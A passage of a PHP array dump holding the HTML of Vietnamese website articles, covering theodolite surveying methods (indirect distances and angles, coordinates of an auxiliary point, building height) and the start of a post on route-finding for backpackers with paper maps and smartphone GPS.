<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Khoảng cách đo được từ máy đến mia người ta gọi là </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">khoảng cách trực tiếp, còn khoảng cách giữa hai mia được gọi </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">là khoảng cách gián tiếp.</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" />
<span style="box-sizing: border-box; margin: 0px; padding: 0px;">Giả sử cần đo khoảng cách giữa 2 điểm dựng mia B và C ta làm </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">như sau:</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy tại 1 điểm bất kỳ (A) sao cho có thể ngắm đến </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">các điểm dựng mia (B, C).</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm mia dựng tại B và C rồi đo góc “” và đo khoảng cách từ máy đến 2 mia ta được cạnh “b </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">và c” như hình vẽ.</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="do khoang cach gian tiep" class="size-full wp-image-7479 alignleft" height="153" sizes="(max-width: 284px) 100vw, 284px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi-115x62.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi-150x81.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png 284w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; margin: 0px 20px 20px 0px !important; float: left !important;" width="284" /></a></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính khoảng cách gián tiếp (a) theo công thức:</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" />
<a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7480" height="45" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi1.png" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="277" /></a></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">III. Đo góc gián tiếp.</b></span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" />
<span style="box-sizing: border-box; margin: 0px; padding: 0px;">Góc đo được tại điểm đặt máy người ta gọi là góc đo trực tiếp, còn góc xác định được tại các điểm không đặt máy người ta gọi là góc đo gián tiếp. Giả sử cần xác định 2 góc B và C như hình vẽ ta thực hiện như sau:</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy kinh vĩ tại điểm A, dựng mia tại 2 điểm B và C.</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm mia dựng tại B và C rồi đo góc “” và đo khoảng cách từ máy đến 2 mia ta được cạnh “b và c” như hình vẽ.</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="size-full wp-image-7482 alignleft" height="175" sizes="(max-width: 268px) 100vw, 268px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3-115x75.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3-150x98.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png 268w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; margin: 0px 20px 20px 0px !important; float: left !important;" width="268" /></a></span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính khoảng cách gián tiếp (a) theo công thức: <a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7481" height="43" sizes="(max-width: 282px) 100vw, 282px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2-150x23.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png 282w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="282" /></a></span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính góc B và C theo công thức:</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7483" height="46" sizes="(max-width: 473px) 100vw, 473px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4-300x29.png 300w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4-115x11.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png 473w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="473" /></a></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">IV. Đo, tính tọa độ của một điểm bằng phương pháp điểm dẫn (Cọc phụ).</b></span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" />
<span style="box-sizing: border-box; margin: 0px; padding: 0px;">Giả sử cần tính tọa độ điểm T khi có các số liệu gốc và số liệu đo như hình vẽ ta tiến hành như sau:</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="size-full wp-image-7484 alignright" height="236" sizes="(max-width: 268px) 100vw, 268px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5-150x132.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png 268w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; float: right; margin: 0px 0px 20px 20px !important;" width="268" /></a></span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">-Tính góc phương vị tọa độ cho cạnh gốc: </span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">α<span style="box-sizing: border-box; margin: 0px; padding: 0px;"> AB<span style="box-sizing: border-box; margin: 0px; padding: 0px;">=120°30’40”</span></span></span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">-Tính góc phương vị tọa độ cho cạnh BT:</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi6.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone wp-image-7485" height="55" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi6.png" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="197" /></a></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Theo hình vẽ, góc đo được là góc trái nên ta áp dụng công thức:</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi7.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="wp-image-7486 aligncenter" height="38" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi7.png" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="246" /></a></span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính số gia tọa độ của cạnh BT.</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi8.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="wp-image-7487 aligncenter" height="41" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi8.png" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="160" /></a></span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính tọa độ cho điểm T:</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: center;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone wp-image-7488" height="54" sizes="(max-width: 159px) 100vw, 159px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9-115x39.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9-150x51.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png 209w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="159" /></a></span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102);">V. Đo chiều cao công trình</strong></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Để xác định chiều cao của một công trình ta làm như sau:</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy tại một điểm bất kỳ sao cho khi đặt máy trên điểm này có thể nhìn thấy đỉnh và chân công trình.</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Dựng mia ở chân công trình và xác định khoảng cách ngang từ máy đến mia (D).</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm ống kính lên đỉnh công trình rồi đọc giá trị góc đứng (V1).</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm ống kính xuống chân công trình rồi đọc giá trị góc đứng (V2).</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính chiều cao công trình (H) theo công thức:</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" />
<span style="box-sizing: border-box; margin: 0px; padding: 0px;"><i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H =</i> <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H</i>1+ <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H </i>2</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" />
<span style="box-sizing: border-box; margin: 0px; padding: 0px;">Trong đó: <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H </i>1 = <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">D </i>.<i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">tg V </i>1</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" />
<span style="box-sizing: border-box; margin: 0px; padding: 0px;"><i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;"> H </i>2 = <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">D </i>.<i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">tg V </i>2</span></span></span></p>
',
'images' => '201709110746070417e9099f0268338ae9b8a49d21ba31.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2017-09-11',
'modified' => '2025-08-10',
'status' => '1',
'view' => '71057',
'slug' => 'mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '861',
'rght' => '862',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 2 => array(
'Post' => array(
'id' => '492',
'name' => 'Những cách định vị đường đi cho dân phượt',
'code' => null,
'alias' => 'nhung-cach-dinh-vi-duong-di-cho-dan-phuot',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(17, 17, 17); font-weight: bold; text-align: justify;">Ngày nay, giới trẻ thích du lịch “phượt” thay vì đi theo tour. Việc định vị đường đi cho chuyến phượt thuận lợi được thực hiện bằng cách nào? Hãy cùng nhau tìm hiểu những cách định vị đường đi nhé!</span></span></span>',
'content' => '<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Định vị đường đi sẽ là việc đầu tiên mà chúng ta thực hiện khi chuẩn bị cho một chuyến phượt đến một nơi mà ta chưa bao giờ đặt chân tới. Và bạn thực hiện điều đó bằng cách nào?</span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
</p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">1. Sử dụng bản đồ truyền thống (bản đồ trên giấy):</strong></span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cách này dành cho những người khá “cổ điển” do bản đồ giấy đang trở nên lỗi thời.</span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Bạn sẽ phải thường xuyên mở bản đồ ra và dò xem mình đã đi tới đâu, bản đồ có thể sẽ bị rách, hư nếu bạn xem dưới thời tiết xấu và bản đồ giấy không thể giúp ta biết được chính xác vị trí mình đang đứng.</span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="448" src="http://dathop.com.vn/file/1502182605-HCM%20Map.ashx.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="440" /></span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">2. Sử dụng các ứng dụng định vị dẫn đường trên smartphone:</strong></span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Tất cả các smartphone ngày nay đều được tích hợp với hệ thống định vị GPS, hệ thống định vị toàn cầu, đó chính là chìa khóa trong việc giúp người sử dụng có thể định vị đường đi chính xác.</span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="308" src="http://dathop.com.vn/file/1502182663-loi-khuyen-su-dung-may-dinh-vi-gps.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="485" /></span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ta chỉ cần định vị điểm đến mà chúng ta muốn, ứng dụng chỉ đường trong smartphone sẽ định vị đường đi từ vị trí mà chúng ta đang đứng đến điểm đến một cách chính xác.</span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Đây là cách phổ biến, nhưng điểm yếu là vùng phủ sóng bị hạn chế bởi nhà cung cấp mạng smartphone.</span></span></p>
<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
</p>
